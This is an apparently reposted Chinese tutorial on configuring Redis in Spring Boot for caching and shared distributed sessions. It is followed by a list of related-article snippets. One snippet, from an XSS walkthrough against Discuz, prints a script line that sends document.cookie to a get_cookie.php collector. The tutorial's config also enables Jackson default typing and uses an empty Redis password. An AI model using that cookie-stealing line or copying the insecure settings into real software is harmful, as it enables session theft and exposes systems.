java分布式會話redis_詳解springboot中redis的使用和分布式session共享問題

對于分布式使用Nginx+Tomcat實現負載均衡,最常用的均衡算法有IP_Hash、輪訓、根據權重、隨機等。不管對于哪一種負載均衡算法,由于Nginx對不同的請求分發到某一個Tomcat,Tomcat在運行的時候分別是不同的容器里,因此會出現session不同步或者丟失的問題。

實際上實現Session共享的方案很多,其中一種常用的就是使用Tomcat、Jetty等服務器提供的Session共享功能,將Session的內容統一存儲在一個數據庫(如MySQL)或緩存(如Redis)中。

本文旨在解決分布式系統的session如何共享問題,大致思路:session放入redis。其他解決方案:持久化、放cache等都可以,但是自從有了redis,這完全可以變的簡簡單單。

本文大致分兩步:

1.springboot中如何使用redis。

2.redis如何解決session共享

pom依賴

org.springframework.boot

spring-boot-starter-redis

org.springframework.data

spring-data-redis

${spring-data-redis.version}

redis.clients

jedis

${jedis.version}

org.springframework.session

spring-session-data-redis

添加redis配置類

該配置類同樣可以配置緩存失效時間等。

package com.mos.quote.config;

import com.fasterxml.jackson.annotation.JsonAutoDetect;

import com.fasterxml.jackson.annotation.PropertyAccessor;

import com.fasterxml.jackson.databind.ObjectMapper;

import org.springframework.cache.CacheManager;

import org.springframework.cache.annotation.CachingConfigurerSupport;

import org.springframework.cache.annotation.EnableCaching;

import org.springframework.cache.interceptor.KeyGenerator;

import org.springframework.context.annotation.Bean;

import org.springframework.context.annotation.Configuration;

import org.springframework.data.redis.cache.RedisCacheManager;

import org.springframework.data.redis.connection.RedisConnectionFactory;

import org.springframework.data.redis.core.RedisTemplate;

import org.springframework.data.redis.core.StringRedisTemplate;

import org.springframework.data.redis.serializer.Jackson2JsonRedisSerializer;

/**

* @author Administrator

*/

@Configuration

@EnableCaching

public class RedisConfig extends CachingConfigurerSupport {

@Bean

public KeyGenerator KeyGenerator(){

return (target, method, params) -> {

StringBuilder sb = new StringBuilder();

sb.append(target.getClass().getName());

sb.append(method.getName());

for (Object obj : params) {

sb.append(obj.toString());

}

return sb.toString();

};

}

@Bean

public RedisTemplate redisTemplate(RedisConnectionFactory factory) {

StringRedisTemplate template = new StringRedisTemplate(factory);

Jackson2JsonRedisSerializer jackson2JsonRedisSerializer = new Jackson2JsonRedisSerializer(Object.class);

ObjectMapper om = new ObjectMapper();

om.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);

om.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

jackson2JsonRedisSerializer.setObjectMapper(om);

template.setValueSerializer(jackson2JsonRedisSerializer);

template.afterPropertiesSet();

return template;

}

@Bean

public CacheManager cacheManager(RedisTemplate redisTemplate) {

RedisCacheManager rcm = new RedisCacheManager(redisTemplate);

//設置緩存過期時間

rcm.setDefaultExpiration(600000);

return rcm;

}

}

配置redis服務

# Redis數據庫索引(默認為0)

spring.redis.database=0

# Redis服務器地址

spring.redis.host=192.168.1.118

# Redis服務器連接端口

spring.redis.port=6381

# Redis服務器連接密碼(默認為空)

spring.redis.password=

# 連接池最大連接數(使用負值表示沒有限制)

spring.redis.pool.max-active=8

# 連接池最大阻塞等待時間(使用負值表示沒有限制)

spring.redis.pool.max-wait=-1

# 連接池中的最大空閑連接

spring.redis.pool.max-idle=8

# 連接池中的最小空閑連接

spring.redis.pool.min-idle=0

# 連接超時時間(毫秒)

spring.redis.timeout=0

單元測試

1、set值(字符串)

@Test

public void put(){

stringRedisTemplate.opsForValue().set("test001","test001");

Assert.assertEquals("test001", stringRedisTemplate.opsForValue().get("test001"));

}

往redis放一個key為test001、value為test001的值,然后查看redis

935401fe022d3e36067000dec53dbf2f.png

key=test001

2、set值(object)

@Test

public void testObj() throws Exception {

SysUser user=new SysUser();

user.setId("123456");

user.setName("張三");

ValueOperations operations=redisTemplate.opsForValue();

operations.set("user1", user);

operations.set("user2", user,5, TimeUnit.SECONDS);

Thread.sleep(6000);

Assert.assertFalse(redisTemplate.hasKey("user2"));

}

往redis分別放key為user1和user2的對象,user2設置5秒失效,線程等待6秒再完成,期望結果:redis中有user1,沒有user2,bingo!!!

8a29b4de7afc13ea68e5adbd74a68b23.png

ObjTest

解決session共享

使用spring-session-data-redis實現session共享,pom中引入該依賴(上文已添加),添加SessionConfig配置類。

對,沒看錯,只需要這個就夠了。最長有效時間根據自己情況隨意配置即可。

package com.mos.quote.config;

import org.springframework.context.annotation.Configuration;

import org.springframework.session.data.redis.config.annotation.web.http.EnableRedisHttpSession;

/**

* @author Administrator

*/

@Configuration

@EnableRedisHttpSession(maxInactiveIntervalInSeconds = 3000)

public class SessionConfig {

}

測試

寫一個簡單Controller,如下

@RequestMapping("testSessionTimeOut")

public String testSessionTimeOut(String id,HttpSession session,Model model){

Area area = areaService.getById(id);

System.out.println("sessionId-------->"+session.getId());

model.addAttribute("area",JSON.toJSONString(area));

session.setAttribute("area",JSON.toJSONString(area));

return "demo/test1";

}

這里可以看到sessionId:

16a9c787b7bcef3869f55e4cfecad83e.png

sessionId

看redis中,可以看到失效時間,sessionId等

b1061c74bcc3d5b8e71a8430100ed985.png

sessionId

共享session

另外找一個機器,照著這個配置再來一遍,自動啟用session共享,因為sessionId都存在了同一個redis中。奏是這么簡單。挽起袖子開始干吧。

以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持腳本之家。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/533215.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/533215.shtml
英文地址,請注明出處:http://en.pswp.cn/news/533215.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

python3.8使用方法_python3.8新特性

python3.8新特性Python3.8穩定版已發布,官網發布了一篇介紹新特性的文章,在此記錄一下。新增賦值操作符:作用:把較大表達式中的某部分值賦給變量,因為看起來像海象的眼睛和牙齒,: 操作符有個特別的名字:海象操作符范例…

java責任鏈設計模式 訂單_Java責任鏈設計模式實例分析

本文實例講述了Java責任鏈設計模式。分享給大家供大家參考,具體如下:一 代碼abstract class AbstractHandler {private Handler Handler null;// 持有責任鏈中下一個責任處理者的引用public void setHandler( Handler handler ) {this.Handler handler…

java map去重復的數據_使用HashMap去重復數據.

因為HashMap是鍵值對形式,所以一個鍵只對應一個Value,利用這個原理,我們就可以根據某列重復數據做鍵對重復數據進行處理啦~首先先看看我要處理 的數據然后我最后想要的結果:需求:根據groupName每個分組信息只顯示一條數…

centos6.5 MySQL 服務器_啟用CentOS6.5 64位安裝時自帶的MySQL數據庫服務器

本人在虛擬機上又安裝了一臺linux機器,作為MySQL數據庫服務器用,在安裝時選擇了系統自帶的MySQL服務器端,以下是啟用步驟。首先開啟mysqld服務#service mysqld start進入/usr/bin目錄#cd /usr/bin設定mysql數據庫root用戶的密碼#mysqladmin -…

java xml date_W3C XML 模式時間數據類型與java Date進行轉換

W3C XML 模式時間數據格式:"2014-11-17T 09:40:25" 或者 “2014-11-17T 09:40:2508:00”要想把以上格式的時間轉換為能被java所使用個格式有以下3種辦法:(1)、jdk中有這么一個類XMLGregorianCalendar,使用XMLGregorianCalendar類中的toGreGreg…

PHP stomp 連接判斷,php實現通過stomp協議連接ActiveMQ操作示例

本文實例講述了php實現通過stomp協議連接ActiveMQ操作。分享給大家供大家參考,具體如下:前面介紹了php ActiveMQ的安裝與使用,這里再來講述一下php通過stomp協議連接ActiveMQ。一、安裝php的stomp擴展http://pecl.php.net/package/stomp如&am…

authinfo.php,【nginxphp】后臺權限認證方式

一、最常用的方法(代碼中限制)1、如何限制IPfunction get_new_ip(){if(getenv(HTTP_CLIENT_IP)) {$onlineip getenv(HTTP_CLIENT_IP);} elseif(getenv(HTTP_X_FORWARDED_FOR)) {$onlineip getenv(HTTP_X_FORWARDED_FOR);} elseif(getenv(REMOTE_ADDR)) {$onlineip getenv(RE…

php數組無限文類,php把無限級分類生成數組的類

你是否遇到需要把無限級分類循環出來,是不是很頭痛。比如,要循環出一個SELECT,或一個TABLE,要寫一大堆判斷。我的做法是生成數組,可以重復調用,直接循環數組就行了。為了方便,把它寫成了類:clas…

php sql取數據生成數組中,php中實現數組生成要執行的sql語句

本篇文章主要介紹php中實現數組生成要執行的sql語句,感興趣的朋友參考下,希望對大家有所幫助。會不會碰到這樣一種情況呢?每次獲取數據將數據和歷史版本都有一定的差別,然而用ThinkPHP的addAll()函數,卻會將已有的數據…

xss漏洞php注射實戰,利用XSS滲透DISCUZ 6.1.0實戰

論壇——>入侵者布置的跨站攻擊——>轉移被入侵這視線(隱蔽)論壇插入腳本:var img new Image();img.src get_cookie.php?var encodeURI(document.cookie);但是我不一樣,因為他需要誘導人去點擊他的鏈接,但是現在人不是傻子&#xf…

java模塊化按需加載,JavaScript模塊化之使用requireJS按需加載

模塊加載器的概念可能稍微接觸過前端開發的童鞋都不會陌生,通過模塊加載器可以有效的解決這些問題:JS文件的依賴關系。通過異步加載優化script標簽引起的阻塞問題可以簡單的以文件為單位將功能模塊化并實現復用主流的JS模塊加載器有requireJS&#xff0c…

宇軒網絡面試題目PHP,二十道接地氣的php面試題,讓你直接通過面試!就此奉上~...

1、echo count(“abc”); 輸出什么?答:"1"count— 計算數組中的單元數目或對象中的屬性個數int count ( mixed var\[,intvar \[, intvar\[,intmode ] ), 如果 var 不是數組類型或者實現了 Countable 接口的對象,將返回 1&#xff0…

java期末試題c卷,JAVA程序設計期末考試試卷及參考答案

《JAVA程序設計》期末考試試卷考生注意:1.本試卷滿分100分。2.考試時間90分鐘。3.卷面整潔,字跡工整。4.填寫內容不得超出密封線。總分題號一二三四五六核分人題分21204019復查人得分一、單選擇題(每題2分&…

mysql 分組查詢原理,MySQL分組查詢Group By實現原理詳解

由於GROUP BY 實際上也同樣會進行排序操作,而且與ORDER BY 相比,GROUP BY 主要只是多了排序之后的分組操作。當然,如果在分組的時候還使用了其他的一些聚合函數,那么還需要一些聚合函數的計算。所以,在GROUP BY 的實現…

mysql 執行計劃詳解,Mysql中的explain執行計劃詳解(1)

創建一個表test_explain,并添加入下的數據mysql> create table test_explain( a int primary key, b int);Query OK, 0 rows affected (0.09 sec)mysql> insert into test_explain value(1,1),(2,2),(3,3),(4,4),(5,5);explian中的type字段:表示m…

mac php命令行模式,phpstorm分別在Mac和Windows下啟動命令行,并啟用ssh

Mac:在terminal下運行 sudo -i 輸入密碼 就可以用ssh IP:端口 命令行登錄了DAssist是一個命令行開發輔助,可直接在系統命令行工具中使用,Linux和MacOS等自帶命令終端的系統好說,windows下也有cmd和powerShell。那么如何結合開發IDE工具進行…

matlab 價格統計,matlab中的金融數據統計

1.均勻分布隨機數生成函數unidrnd(N,m,n)N生成1到N之間的一個隨機數,確定輸出矩陣m行,n列。2.生成連續均勻分布的隨機數unifrnd(A,B,m,n)A,B表示上下界。3.生成正態分布隨機數normrnd(mu,sigma,m,n)mu均值,…

php訪問js文件不存在,php文件里js不能被執行

我想把上傳文件路徑返回到前端保存&#xff0c;但是后臺php文件里的js沒有執行&#xff0c;前臺input標簽里的value值一直為空后臺acceptfile.php代碼如下:<?php if(!isset($_REQUEST[filename])){exit(No file);}else{$upload_path dirname(__FILE__)./audio;date_defaul…

php 零寬斷言,正則表達式之零寬斷言實例詳解【基于PHP】

這篇文章主要介紹了正則表達式之零寬斷言,簡單介紹了零寬斷言的概念、分類及php實現技巧與相關注意事項,需要的朋友可以參考下本文實例講述了正則表達式之零寬斷言。分享給大家供大家參考&#xff0c;具體如下&#xff1a;前言之前我曾寫了一篇關于正則表達式的文章(//www.jb51…

python 邏輯回歸準確率是1,Python利用邏輯回歸模型解決MNIST手寫數字識別問題詳解...

本文實例講述了Python利用邏輯回歸模型解決MNIST手寫數字識別問題。分享給大家供大家參考&#xff0c;具體如下&#xff1a;1、MNIST手寫識別問題MNIST手寫數字識別問題&#xff1a;輸入黑白的手寫阿拉伯數字&#xff0c;通過機器學習判斷輸入的是幾。可以通過TensorFLow下載MN…